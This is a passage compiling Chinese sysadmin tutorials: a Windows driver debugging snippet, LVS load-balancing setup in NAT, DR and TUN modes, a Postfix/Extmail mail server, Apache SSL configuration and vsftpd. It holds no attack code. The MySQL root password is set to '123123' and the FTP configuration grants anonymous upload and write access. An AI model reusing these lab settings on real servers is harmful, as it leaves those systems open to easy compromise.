DbgPrint("驱动已卸载 \n"); // 驱动入口地址 NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) // 初始化默认派遣函数 NTSTATUS status = STATUS_SUCCESS; for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) Driver->MajorFunction[i] = DriverDefaultHandle; // 设置断点 DbgBreakPoint(); // KdBreakPoint(); // __debugbreak(); DbgPrint("驱动已加载 \n"); // 驱动卸载函数 Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }通过Visual Studio工具编译如上代码片段,并在WinDBG中输入g命令让系统运行起来,将编译好的驱动程序拖入到虚拟机中,并以管理员身份打开Windows 64Signer.exe,使用该工具对驱动程序进行签名,如下图所示;签名完成后将我们的驱动文件WinDDK.sys,拖入到KmdManager.exe驱动加载工具中,并通过驱动加载工具加载运行,此时Windows系统会卡死,回到WinDBG中发现已经可以进行调试了,如下图所示;此处需要扩展一个知识点,如果不使用WinDBG工具而想要获取到DbgPrint()函数输出结果,则你可以使用课件中提供的dbgview64.exe程序,不过此程序需要注意几点,该程序需要使用管理员身份运行,且运行后需要将Capture菜单中的属性全部打对勾,如下图所示;此时DebugView会出现很多的无用输出,则你需要打开过滤器按钮,输入STORMINI将此类输出屏蔽掉,如下图所示;至此再次使用KmdManager工具加载WinDDK驱动,则可以无干扰的输出我们所需结果。

构建LVS负载均衡集群

LVS即Linux虚拟服务器,目前 LVS 已经被集成到 Linux 内核模块中,该项目在 Linux 内核实现了基于 IP 的数据请求负载均衡调度方案,LVS集群采用IP负载均衡技术和基于内容请求分发技术.调度器具有很好的吞吐率,将请求均衡地转移到不同的服务器上执行,且调度器自动屏蔽掉服务器的故障,从而将一组服务器构成一个高性能的、高可用的虚拟服务器.整个服务器集群的结构对客户是透明的,而且无需修改客户端和服务器端的程序.为此,在设计时需要考虑系统的透明性、可伸缩性、高可用性和易管理性.LVS(Linux Virtual Server) 的作用LVS主要用于服务器集群的负载均衡,它工作在网络层,可以实现高性能,高可用的服务器集群技术.它廉价,可把许多低性能的服务器组合在一起形成一个超级服务器.它易用,配置非常简单,且有多种负载均衡的方法.它稳定可靠,即使在集群的服务器中某台服务器无法正常工作,也不影响整体效果.另外可扩展性也非常好.LVS自从1998年开始,发展到现在已经是一个比较成熟的技术项目了.可以利用LVS技术实现高可伸缩的、高可用的网络服务,例如WWW服务、Cache服务、DNS服务、FTP服务、MAIL服务、视频/音频点播服务等等,有许多比较著名网站和组织都在使用LVS架设的集群系统.LVS的体系结构,使用LVS架设的服务器集群系统有三个部分组成:● 最前端的负载均衡层,用Load Balancer表示● 中间的服务器集群层,用Server Array表示● 最底端的数据共享存储层,用Shared Storage表示LVS(Linux Virtual Server) 负载均衡机制LVS是四层负载均衡,也就是说建立在OSI模型的第四层传输层之上,传输层上有我们熟悉的TCP/UDP,LVS支持TCP/UDP的负载均衡.因为LVS是四层负载均衡,因此它相对于其它高层负载均衡的解决办法,比如DNS域名轮流解析、应用层负载的调度、客户端的调度等,它的效率是非常高的.Load Balancing负载均衡,可以减轻单台服务器压力,不同节点之间相互独立,不共享任何资源.通过一定算法将客户端的访问请求平分到群集的各个节点上,充分利用每个节点的资源.负载均衡扩展了网络设备和服务器带宽,增加吞吐量,加强网络数据处理能力.负载均衡集群分类软件实现: LVS RAC MySQLProxy Nginx HaProxy硬件实现: F5 citrix array 深信服 梭子鱼负载均衡集群的区别1.触发条件不同四层负载均衡:工作在传输层,转发数据依靠的是三层的IP地址 和 四层的端口(PORT).七层负载均衡:工作在应用层,转发数据依靠URL或主机名.2.实现原理不同四层负载均衡:TCP连接建立一次,客户端和RS主机之间.七层负载均衡:TCP连接建立两次,第一次是客户端和负载调度器,第二次是负载调度器和RS主机.3.应用场景不同四层负载均衡:TCP应用为主或者ERP软件七层负载均衡:以HTTP协议为主,例如apache服务器4.安全性不同四层负载均衡:转发攻击七层负载均衡:拦截攻击IPVS:钩子函数,内核机制,在请求没有到达目的地址之前,捕获并取得优先控制权的函数.IPVSADM:工作在用户空间,负责为ipvs内核框架编写规则,定义谁是集群服务,谁是后端真实的服务器.负载调度算法分类轮询方式解释rr(轮循)从1开始到n结束wrr(加权轮循)按权重比例进行调度,权重越大,负责的请求越多.sh(源地址hash)实现会话绑定,保留之前建立的会话信息.将来自于同一个ip地址的请求发送给一个真实服务器.dh(目标地址hash)将同一个目标地址的请求,发送给同一个服务器节点.提高缓存命中率.LC(最少连接)将新的连接请求分配给当前连接数最少的服务器.公式:活动连接*256+非活动连接.WLC(加权最少连接)最少连接的特殊模式.公式:(活动连接*256+非活动连接)/权重SED(最短期望延迟)加权最少连接的特殊模式.公式:(活动连接 +1)*256/权重NQ(永不排队)sed的特殊模式,当某台真实服务器连接为0时,直接分配不计算.LBLC(基于局部性的最少连接)dh的特殊模式既要提高缓存命中率又要考虑连接数量.先根据请求的目标IP地址寻找最近的该目标IP地址所有使用的服务器,如果这台服务器依然可用,并且有能力处理该请求,调度器会尽量选择相同的服务器,否则会继续选择其它可行的服务器.LBLCR(带复制的基于局部性的最少连接)LBLCR=LBLC+缓存共享机制动态算法既要考虑算法本身,也要考虑服务器状态(原理:通过hash表记录连接状态active/inactive)静态算法只考虑算法本身,不考虑服务器状态.下面我们将依次配置三种模式的集群方案,并说明原理.LVS-NAT 模式NAT 模式简介NAT (Network Address Translation)即网络地址转换,其作用是通过数据报头的修改,使位于企业内部的私有IP可以访问外网,以及外部用户可以访问位于公司内部的私有IP主机.LVS-NAT工作模式拓扑结构如下图,所示LVS负载调度器使用两块网卡配置不同的IP地址,eth0,设置为私钥IP与内部网络通过交换设备相互连接, eth1设置为外网IP与外部网络联通.原理图解:a).客户端将请求交给负载调度器,客户端发出数据包,此时这个数据包的源ip为CIP,目标ip为VIP (集群ip).b).数据包到达负载调度器后,修改数据包的目标ip地址为真实服务器的ip,此时数据包的源ip为CIP,目标ip为RIP.c).将数据包发送给RS,之后RS响应将数据包发回给负载调度器,此时数据包的源ip为RIP,目标ip为CIP.d).负载调度器再转发时,会将源ip地址改为自己的VIP地址,然后再发给客户端,此时数据包的源ip为VIP,目标ip为CIP.LVS-NAT 模式特点:1.负载调度器和真实服务器,必须位于同一网络.2.真实服务器的网关必须指向DIP.3.负载调度器必须位于客户端和真实服务器之间.4.RIP通常都是私有地址,仅用于各个集群节点通信.5.支持端口映射,可映射为任意地址.6.真实服务器可以使用任意操作系统,负载调度器必须是LINUX系统.7.所有数据报文都要经过负载调度器、压力过大、最多10台RS.实验环境IP分配:[实验环境] [类型] [网卡] [IP地址] [接入模式] LVS-NAT ens32 192.168.1.12 桥接 ens32 192.168.20.14 NAT Read-Ser1 ens32 192.168.20.15 NAT Read-Ser2 ens32 192.168.20.16 NAT配置LVS调度器1.通过YUM仓库快速安装Ipvsadm内核管理工具.[root@localhost ~]# yum install -y ipvsadm Package ipvsadm-1.27-7.el7.x86_64 already installed and latest version Nothing to do2.开启IP转发,让其具有转发数据包的能力.[root@localhost ~]# echo "1" > /proc/sys/net/ipv4/ip_forward [root@localhost ~]# echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf [root@localhost ~]# sysctl –p net.ipv4.ip_forward=13.配置LVS-NAT调度器,访问本机的80端口自动负载均衡到15-16这两台机器上.[root@localhost ~]# ipvsadm -A -t 192.168.1.12:80 -s rr #指定网卡1地址 #------------------------------------------------------------------------------- #[参数说明] -A 添加规则 -t TCP 指定分发器VIP -s 指定调度算法 rr 代表轮询round-robin #------------------------------------------------------------------------------- [root@localhost ~]# ipvsadm -a -t 192.168.1.12:80 -r 192.168.20.15 -m [root@localhost ~]# ipvsadm -a -t 192.168.1.12:80 -r 192.168.20.16 -m #------------------------------------------------------------------------------- #[参数说明] -a 添加real-server地址 -r 指定real-server地址 -m 表示masquerade NAT方式的LVS #-------------------------------------------------------------------------------4.查看并保存结果,下面就是我们的配置结果啦.[root@localhost ~]# ipvsadm -L -n #查看规则 IP Virtual Server version 1.2.1 (size=4096) Prot LocalAddress:Port Scheduler Flags -> RemoteAddress:Port Forward Weight ActiveConn InActConn TCP 192.168.1.12:80 rr -> 192.168.20.15:80 Masq 1 0 0 -> 192.168.20.16:80 Masq 1 0 0 [root@localhost ~]# /sbin/ipvsadm-save #保存规则4.配置防火墙SNAT,指定NAT表的POSTROUTING.iptables -t nat -A POSTROUTING \ #指定NAT表的POSTROUTING -s 192.168.1.0/24 \ #指定内网的网段 -o eno16777728 \ #指定外网口网卡名称 -j SNAT \ #指定为SNAT --to-source 59.110.167.239 #指定外网卡的地址 [root@localhost ~]# iptables -t nat -L #查看添加的规则配置RS节点提示:RelServer客户端每个节点都应该配置,每个节点都要执行以下操作1.安装测试Apache,后端的两台主机都要配置Apache.[root@localhost ~]# yum install -y httpd [root@localhost ~]# echo "web 1" > /var/www/html/index.html [root@localhost ~]# systemctl restart httpd2.RelServer节点指定网关,指向主调度器的eth1网口.[root@localhost ~]# route add default gw 192.168.20.14LVS-DR 模式LVS-DR模式简介DR模式也叫做直接路由模式,其体系如下图所示,该模式中LVS依然承载数据的入站点请求以及算法的合理选择,不同之处在于dR模式只负责接受请求不负责发送,真正发送请求的是后端的主机节点,这样就在一定程度上缓解了服务器的压力,但是本模式要求调度器与后端的主机必须在一个局域网中.原理图解:a)客户端发出数据包,源ip是CIP,目标ip是VIP.b)依靠路由把数据发送给负载调度器,负载调度器将数据包的源MAC地址修改为DIP的MAC地址,将目标MAC地址修改为RIP的MAC地址,此时源ip和目标ip均未修改.c)由于DS和RS在同一网络中,所以通过二层来传输,通过路由再将数据包发到RS.d)RS接收数据包,之后通过lo接口传送给eth0向外发出,此时的源ip是VIP,目标ip为CIP.e)最后通过路由的方式发给客户端.DR 模式特点:1.负载路由器和真实服务器,必须位于同一网络.2.真实服务器的网关必须指向路由器.3.负载调度只处理入站请求.4.RIP可以是私有地址,也可以是公网地址.5.真实服务器可以使用任意操作系统,负载调度器必须是LINUX系统.6.负载调度器压力较小,支持100台左右的RS.实验环境IP分配:[实验环境] [类型] [网卡] [IP地址] [VIP/IO] [接入模式] LVS-DR ens32 192.168.1.5 192.168.1.10(VIP) 桥接 Read-Ser1 ens32 192.168.1.13 192.168.1.10(IO) 桥接 Read-Ser2 ens32 192.168.1.14 192.168.1.10(IO) 桥接 #提示: 如果是在真实环境中 RealServer 应把网关指向路由器eth1口配置LVS调度器1.通过YUM仓库快速安装Ipvsadm内核管理工具.[root@localhost ~]# yum install -y ipvsadm Package ipvsadm-1.27-7.el7.x86_64 already installed and latest version Nothing to do2.修改内核参数,防止相同网络地址广播冲突.[root@localhost ~]# echo "net.ipv4.conf.all.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# echo "net.ipv4.conf.ens32.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# echo "net.ipv4.conf.default.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# sysctl -p #刷新内核参数 net.ipv4.conf.all.send_redirects = 0 net.ipv4.conf.ens32.send_redirects = 0 net.ipv4.conf.default.send_redirects = 0 [root@localhost ~]# modprobe ip_vs && echo "ok" || echo "error" #查看内核是否加载 ok3.配置一个网卡子接口,此处我们在ens32接口上配置一个子接口ens32:0,这个子接口也就是VIP的地址,并添加一条路由记录.[root@localhost ~]# ifconfig ens32 ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.5 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::5fbb:43ab:da3:f589 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:1e:14:e2 txqueuelen 1000 (Ethernet) RX packets 4597 bytes 5186429 (4.9 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1711 bytes 177437 (173.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 [root@localhost ~]# ifconfig ens32:0 192.168.1.10 netmask 255.255.255.0 #在ens32添加子接口,VIP的地址 [root@localhost ~]# ifconfig ens32:0 ens32:0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255 ether 00:0c:29:1e:14:e2 txqueuelen 1000 (Ethernet) [root@localhost ~]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 ens32 192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 ens32 [root@localhost ~]# route add -host 192.168.1.10 dev ens32 #在ens32上添加一条路由记录 [root@localhost ~]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 ens32 192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 ens32 192.168.1.10 0.0.0.0 255.255.255.255 UH 0 0 0 ens324.接下来配置我们的LVS负载调度器,指定VIP地址和使用轮询算法,并保存永久生效.[root@localhost ~]# ipvsadm -A -t 192.168.1.10:80 -s rr #添加虚拟服务指定VIP地址 #--------------------------------------------------------------------------------- #[参数说明] -A 添加规则 -t TCP 指定分发器VIP -s 指定调度算法 rr 代表轮询round-robin #--------------------------------------------------------------------------------- [root@localhost ~]# ipvsadm -a -t 192.168.1.10:80 -r 192.168.1.13:80 -g #针对虚拟服务添加RS节点 [root@localhost ~]# ipvsadm -a -t 192.168.1.10:80 -r 192.168.1.14:80 -g #针对虚拟服务添加RS节点 #--------------------------------------------------------------------------------- #[参数说明] -a 添加real-server地址 -r 指定real-server地址 -m 以NAT模式分配 -g 以DR模式分配 -w 指定权值 #---------------------------------------------------------------------------------5.检查LVS的轮询配置规则,并保存配置文件,此处记得放行放火墙规则.[root@localhost ~]# ipvsadm -L -n --stats #查看VIP和RS是否已经配置成功 IP Virtual Server version 1.2.1 (size=4096) Prot LocalAddress:Port Conns InPkts OutPkts InBytes OutBytes -> RemoteAddress:Port TCP 192.168.1.10:80 0 0 0 0 0 -> 192.168.1.13:80 0 0 0 0 0 -> 192.168.1.14:80 0 0 0 0 0 [root@localhost ~]# /sbin/ipvsadm-save #保存规则配置RS节点提示:RelServer客户端每个节点都应该配置,每个节点都要执行以下操作如果是图形界面,需要关闭图形管理工具 systemctl stop NetworkManager1.首先关闭ARP宣告,和ARP转发,这里有两种方法,临时关闭与永久关闭.#-------------------------------------------------------------------------------- #[临时关闭] [root@localhost ~]# echo "1" > /proc/sys/net/ipv4/conf/lo/arp_ignore [root@localhost ~]# echo "2" > /proc/sys/net/ipv4/conf/lo/arp_announce [root@localhost ~]# echo "1" > /proc/sys/net/ipv4/conf/all/arp_announce [root@localhost ~]# echo "2" > /proc/sys/net/ipv4/conf/all/arp_ignore #-------------------------------------------------------------------------------- #-------------------------------------------------------------------------------- #[永久关闭] [root@localhost ~]# vim /etc/sysctl.conf net.ipv4.conf.ens32.arp_ignore=1 net.ipv4.conf.ens32.arp_announce=2 net.ipv4.conf.all.arp_ignore=1 net.ipv4.conf.all.arp_announce=2 [root@localhost ~]# sysctl -p #--------------------------------------------------------------------------------2.添加本地回环口,并设置24位的掩码,添加本地回环路由记录,这里设置成VIP的地址.[root@localhost ~]# ifconfig lo:0 192.168.1.10 netmask 255.255.255.255 #添加本地回环口,设置24位掩码 [root@localhost ~]# route add -host 192.168.1.10 dev lo #添加路由记录LVS-TUN 模式LVS-IP-TUN 模式简介IP-TUN也叫做IP隧道模式,它的配置不受空间的限制,TUN模式的思路就是将请求与相应数据分离,让调度器仅仅处理数据请求,而让真是服务器返回数据包,但是IP隧道模式由于物理主机不在一起,效率比较低下.原理图解:a)客户端发送数据包到负载调度器,此时数据包的源ip为CIP,目标ip为VIP.b)负载调度器会在数据包的外面再次封装一层ip数据包,封装源ip为DIP,目标ip为RIP.此时源ip为DIP,目标ip为RIP.c)之后负载调度器将数据包发给RS(因为在外层封装多了一层ip首部,所以可以理解为此时通过隧道传输),此时源ip为DIP,目标ip为RIP.d)RS接收到报文后发现是自己的IP地址,就将报文接收下来拆除掉最外层的IP后会发现里面还有一层IP首部,而且目标是自己的lo接口VIP,那么此时RS开始处理此请求,处理完成之后通过lo接口送给eth0网卡,然后向外传递.此时的源IP地址为VIP,目标IP为CIP.e)之后将数据包发给客户端.IP-TUN隧道 模式特点:1.所有真实服务器节点既要有RIP,又要有VIP,并且RIP、必须是公网ip.2.负载调度器和真实服务器必须支持隧道功能.3.负载调度器只处理入站请求.4.真实服务器一定不能使用负载雕塑群做默认网关.5.不支持端口映射.6.可跨互联网搭建集群,对网络环境要求较高.实验环境IP分配:[实验环境] [类型] [网卡] [IP地址] [VIP/Tunl] [接入模式] LVS-IPTUN eno16777728 200.168.10.1 200.168.10.10(VIP) 外网IP Read-Ser1 eno16777728 200.168.10.2 200.168.10.10(Tunl) 外网IP Read-Ser2 eno16777728 200.168.10.3 200.168.10.10(Tunl) 外网IP配置LVS调度器1.通过YUM仓库快速安装Ipvsadm内核管理工具.[root@localhost ~]# yum install -y ipvsadm Package ipvsadm-1.27-7.el7.x86_64 already installed and latest version Nothing to do2.修改内核参数,防止相同网络地址广播冲突.[root@localhost ~]# echo "net.ipv4.conf.all.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# echo "net.ipv4.conf.ens32.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# echo "net.ipv4.conf.default.send_redirects = 0" >> /etc/sysctl.conf [root@localhost ~]# sysctl -p #刷新内核参数 net.ipv4.conf.all.send_redirects = 0 net.ipv4.conf.ens32.send_redirects = 0 net.ipv4.conf.default.send_redirects = 0 [root@localhost ~]# modprobe ip_vs && echo "ok" || echo "error" #查看内核是否加载 ok3.LVS服务器配置虚拟IP,虚拟一个隧道IP,4个255代表它自己一个网段,把网段添加到路由表防止走200.168.10.0网段.[root@localhost ~]# ifconfig tunl0 200.168.10.10 netmask 255.255.255.255 up #虚拟一个隧道IP 4个255代表它自己一个网段 [root@localhost ~]# route add -host 200.168.10.10 dev tunl0 #把网段添加到路由表 防止走 200.168.10.0 网段 [root@localhost ~]# route -n #查看路由2.设置LVS调度器.[root@localhost ~]# ipvsadm -C [root@localhost ~]# ipvsadm -A -t 200.168.10.10:80 -s rr [root@localhost ~]# ipvsadm -a -t 200.168.10.10:80 -r 200.168.10.2 -i [root@localhost ~]# ipvsadm -a -t 200.168.10.10:80 -r 200.168.10.3 -i [root@localhost ~]# ipvsadm -L -n --stat配置RS节点提示:RelServer客户端每个节点都应该配置,每个节点都要执行以下操作1.配置网卡子接口.[root@localhost ~]# ifconfig tunl0 200.168.10.10 netmask 255.255.255.255 up [root@localhost ~]# route add -host 200.168.10.10 dev tunl02.修改环境变量,写入配置文件开机自动加载.[root@localhost ~]# echo "1" > /proc/sys/net/ipv4/conf/tunl0/arp_ignore [root@localhost ~]# echo "2" > /proc/sys/net/ipv4/conf/tunl0/arp_announce [root@localhost ~]# echo "1" > /proc/sys/net/ipv4/conf/all/arp_ignore [root@localhost ~]# echo "2" > /proc/sys/net/ipv4/conf/all/arp_announce3.访问集群IP,测试隧道效果.[root@localhost ~]# elinks http://200.168.10.10

Postfix + Extmail 企业邮件服务器搭建

ExtMail套件用于提供从浏览器中登录、使用邮件系统的Web操作界面,而Extman套件用于提供从浏览器中管理邮件系统的Web操作界面。它以GPL版权释出,设计初衷是希望设计一个适应当前高速发展的IT应用环境,满足用户多变的需求,能快速进行开发、改进和升级,适应能力强的webmail系统。Centos7安装包打包: https://cdn.lyshark.com/courseware/Extmail.zip初始化安装基础环境1.安装各种依赖文件以及数据库yum install -y gcc* bind mysql mysql-server mailx httpd2.安装bind以及配置相关文件修改/etc/named.conf修改数据文件在另一台上测试dns是否能解析mail.extmail.org3.启动数据库,并设置初始密码service mysqld restart mysqladmin -u root password 123123开始配置PostFix1.创建独立的目录存储网页2.将extmail和extman解压到创建的目录中,并改名去掉后缀tar -xzvf extmail-1.2.tar.gz -C /var/www/extsuite/ tar -xzvf extman-1.1.tar.gz -C /var/www/extsuite/ cd /var/www/extsuite/ mv extmail-1.2/ extmail mv extman-1.1/ extman3.将 /var/www/extsuite/extman/docs中模板和数据导入到数据库中4.将init.sql模板文件修改密码后导入数据库中生成MD5加密密码,此密码应与数据库密码同步修改密码文件并导入数据库 vim /var/www/extsuite/extman/docs/init.sql将init.sql文件导入数据库5.将虚拟目录的模板拷贝到邮件服务器的主目录下cp -a mysql_virtual_alias_maps.cf mysql_virtual_domains_maps.cf mysql_virtual_mailbox_maps.cf /etc/postfix/6.创建真实的映射用户 useradd -u 600 vmail7.修改邮件服务的主配置文件 vim /etc/postfix/main.cf 8.依次执行以下语句,在postfix主配置文件中加入postconf -e inet_interfaces=all postconf -e virtual_mailbox_base=/home/vmail postconf -e virtual_uid_maps=static:600 postconf -e virtual_gid_maps=static:600postfix读取模板文件postconf -e virtual_alias_maps=mysql:/etc/postfix/mysql_virtual_alias_maps.cf postconf -e virtual_mailbox_domains=mysql:/etc/postfix/mysql_virtual_domains_maps.cf postconf -e virtual_mailbox_maps=mysql:/etc/postfix/mysql_virtual_mailbox_maps.cf9.重启服务postfix , 发送一个邮件测试PostFix是否正常工作/etc/init.d/postfix restart echo "hello world" | mail -s test support@extmail.org注意:如果/home/vmail下存在extmail.org目录则表示postfix成功配置MDA邮件接收相关软件1.安装dovecot相关软件,启动dovecotyum install -y dovecot dovecot-mysql service dovecot start2.接下来配置dovecot能够去数据库里读数据1)修改vim /etc/dovecot/conf.d/10-mail.conf2)修改vim /etc/dovecot/conf.d/10-auth.conf3)修改如何在数据库里读取数据的文件 cd /etc/dovecot拷贝模板cp /usr/share/doc/dovecot-2.0.9/example-config/dovecot-sql.conf.ext ./ vim dovecot-sql.conf.ext 4)依次修改文件MAIL+WEB安装Web图形界面1.安装Apacheyum install -y httpd2.修改主配置文件vim /etc/httpd/conf/httpd.conf NameVirtualHost *:80 #打开基于域名的虚拟主机 <VirtualHost *:80> ServerName www.example.com DocumentRoot /var/www/html </VirtualHost> <VirtualHost *:80> ServerName mail.extmail.org DocumentRoot /var/www/extsuite/extmail/html/ ScriptAlias /extmail/cgi /var/www/extsuite/extmail/cgi Alias /extmail /var/www/extsuite/extmail/html ScriptAlias /extman/cgi /var/www/extsuite/extman/cgi Alias /extman /var/www/extsuite/extman/html SuexecUserGroup vmail vmail </VirtualHost>3.extmail中更改cgi的属组属主,让vmail有权限执行chown vmail:vmail -R /var/www/extsuite/extmail/cgi/先生成配置文件,再修改配置文件cd /var/www/extsuite/extmailcp webmail.cf.default webmail.cfvim webmail.cf 4.extman中更改cgi的属组属主,让vmail有权限执行chown vmail:vmail -R /var/www/extsuite/extman/cgi/先生成配置文件,再修改配置文件cd /var/www/extsuite/extmancp webman.cf.default webman.cfvim webman.cf 5.安装Unix-Syslog这个软件tar -xzvf Unix-Syslog-1.1.tar.gz cd Unix-Syslog-1.1 perl Makefile.PL make && make install yum install -y *CGI yum install -y perl-GD yum install -y perl-GD-2.44-3.el6.x86_64.rpm yum install -y rrdtool-perl-1.3.8-7.el6.x86_64.rpm6.重启服务,并设置开机自启service named restart service mysqld restart service dovecot restart service httpd restart chkconfig named on chkconfig mysqld on chkconfig dovecot on chkconfig httpd on此时配置已经完成:http://mail.extmail.org/extmail #访问客户端 http://mail.extmail.org/extman #管理员登陆注意:如果登陆管理员后台提示:No such file or directory则运行自动生成一个目录:/var/www/extsuite/extman/daemon/cmdserver -d页面是这样的,难看,自己美化一下就好。

Linux 系统Apache配置SSL证书

在Centos7系列系统下,配置Apache服务器,给服务器增加SSL证书功能,让页面访问是不再提示不安全,具体操作流程如下。1.第一步首先需要安装mod_ssl模块,执行yum install -y mod_ssl命令即可安装完毕。打开配置文件写入以下配置项。[lyshark@localhost] # cat /etc/httpd/conf/httpd.conf ServerRoot "/etc/httpd" Listen 80 # 导入模块 Include conf.modules.d/*.conf # 启用伪静态 LoadModule rewrite_module modules/mod_rewrite.so User apache Group apache ServerAdmin root@localhost DocumentRoot "/var/www/html" <Directory /> Options FollowSymLinks AllowOverride all Require all denied </Directory> <Directory "/var/www"> Options FollowSymLinks AllowOverride None Require all granted </Directory> <Directory "/var/www/html"> Options FollowSymLinks AllowOverride All Require all granted </Directory> <IfModule dir_module> DirectoryIndex index.html </IfModule> <Files ".ht*"> Require all denied </Files> ErrorLog "logs/error_log" LogLevel warn <IfModule log_config_module> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common <IfModule logio_module> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio </IfModule> CustomLog "logs/access_log" combined </IfModule> <IfModule alias_module> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" </IfModule> <Directory "/var/www/cgi-bin"> AllowOverride None Options None Require all granted </Directory> <IfModule mime_module> TypesConfig /etc/mime.types AddType application/x-compress .Z AddType application/x-gzip .gz .tgz AddType text/html .shtml AddOutputFilter INCLUDES .shtml </IfModule> AddDefaultCharset UTF-8 <IfModule mime_magic_module> MIMEMagicFile conf/magic </IfModule> #EnableMMAP off EnableSendfile on IncludeOptional conf.d/*.conf # 设置http跳转到https上面 RewriteEngine On RewriteCond %{SERVER_PORT} !^443$ RewriteRule ^(.*)?$ https://www.lyshark.com ServerTokens Prod ServerSignature Off # 设置加密访问,当用户访问lyshark目录需要密码 # htpasswd -c /etc/htpasswd.db test #<Directory /var/www/html/lyshark> # AuthName "请输入管理员密码" # AuthType Basic # AuthUserFile /etc/htpasswd.db # Require valid-user #</Directory> # 限制Apache只允许接受GET POST请求方式 <Location "/"> <LimitExcept GET POST> Order Allow,Deny Deny from all </LimitExcept> </Location>2.其次需要打开ssl配置目录,将证书上传到指定目录下,并增加你自己的证书文件路径。[lyshark@localhost] # cat /etc/httpd/conf.d/ssl.conf Listen 443 https SSLPassPhraseDialog exec:/usr/libexec/httpd-ssl-pass-dialog SSLSessionCache shmcb:/run/httpd/sslcache(512000) SSLSessionCacheTimeout 300 SSLRandomSeed startup file:/dev/urandom 256 SSLRandomSeed connect builtin SSLCryptoDevice builtin <VirtualHost _default_:443> DocumentRoot "/var/www/html" ServerName www.lyshark.com:443 ErrorLog logs/ssl_error_log TransferLog logs/ssl_access_log LogLevel warn SSLEngine on SSLProtocol all -SSLv2 -SSLv3 SSLCipherSuite HIGH:3DES:!aNULL:!MD5:!SEED:!IDEA # 此处增加SSL证书具体路径 SSLCertificateFile /var/www/ssl/4575832_www.lyshark.com_public.crt SSLCertificateKeyFile /var/www/ssl/4575832_www.lyshark.com.key SSLCertificateChainFile /var/www/ssl/4575832_www.lyshark.com_chain.crt <Files ~ "\.(cgi|shtml|phtml|php3?)$"> SSLOptions +StdEnvVars </Files> <Directory "/var/www/cgi-bin"> SSLOptions +StdEnvVars </Directory> BrowserMatch "MSIE [2-5]" \ nokeepalive ssl-unclean-shutdown \ downgrade-1.0 force-response-1.0 CustomLog logs/ssl_request_log \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" </VirtualHost> 至此只需要重启systemctl restart httpd服务器即可完成ssl配置。3.如果需要配置伪静态,则在Web网站根目录下增加一个隐藏文件,并写入一下配置,伪静态转发。[lyshark@localhost] # cat /var/www/html/.htaccess RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L]

Linux 多种方式实现文件共享

文件共享服务在Linux系统上有多种方式,最常用的有Samba,vsftp,iSCSI,NFS这四种方式,如下将分别配置四种不同的文件共享服务.VSFTP 文件传输FTP是文件传输协议.用于Internet上的控制文件的双向传输,FTP传输文件属于明文传输,不对传输过程进行任何加密处理,VSFTP服务是Linux系统下的加强版传输服务器,安全性更好.VSFTP的特点1.vsftp程序的运行者一般是普通用户,降低了相对应进程的权限,提高了安全性.2.任何需要执行较高权限的指令都需要上层程序许可.3.ftp所需要使用的绝大多数命令都被整合到了vsftp中,基本不需要系统额外提供命令.4.拥有chroot功能,可以改变用户的根目录,限制用户只能在自己的家目录.VSFTP的连接类型控制连接(持续连接)-> TCP21(命令信道)-> 用户收发FTP命令数据连接(按需连接)-> TCP20(数据信道)-> 用于上传下载数据主动模式与被动模式1.很多防火墙在设置的时候都是不允许接受外部发起的连接,所以许多位于防火墙后或内网的FTP服务器不支持PASV模式,因为客户端无法穿过防火墙打开FTP服务器的高位端口.2.而许多内网的客户端不能用PORT模式登陆FTP服务器,因为从服务器的TCP20无法和内部网络的客户端建立一个新的连接,造成无法工作.配置匿名FTP服务器作用:任意用户,输入FTP服务器IP都可以访问,只需输入用户名ftp即可访问.[匿名配置常用参数] anonymous_enable=YES #启用匿名访问 anon_umask=022 #匿名用户所上传文件的权限掩码 anon_root=/var/ftp #匿名用户的FTP根目录 anon_upload_enable=YES #允许上传文件 anon_mkdir_write_enable=YES #允许创建目录 anon_other_write_enable=YES #开放其他写入权 anon_max_rate=0 #限制最大传输速率1.安装VSFTP服务器.[root@localhost ~]# yum install -y vsftpd2.修改VSFTP主配置文件,覆盖写入以下内容,并去掉#号注释即可.[root@localhost ~]# vim /etc/vsftpd/vsftpd.conf pasv_enable=YES #开启被动模式 pasv_min_port=10000 #被动模式最小端口 pasv_max_port=15000 #被动模式最大端口 anonymous_enable=YES #允许匿名用户访问 anon_upload_enable=YES #允许匿名用户上传 anon_mkdir_write_enable=YES #允许匿名用户建立目录 anon_other_write_enable=YES #开放其他人写入权限 anon_umask=022 #设置匿名用户umask anon_root=/ghost #匿名用户ftp根目录 local_enable=YES #允许本地用户登录 write_enable=YES #允许本地用户上传 local_umask=022 #本地用户上传umask值 xferlog_enable=YES #激活记录日志 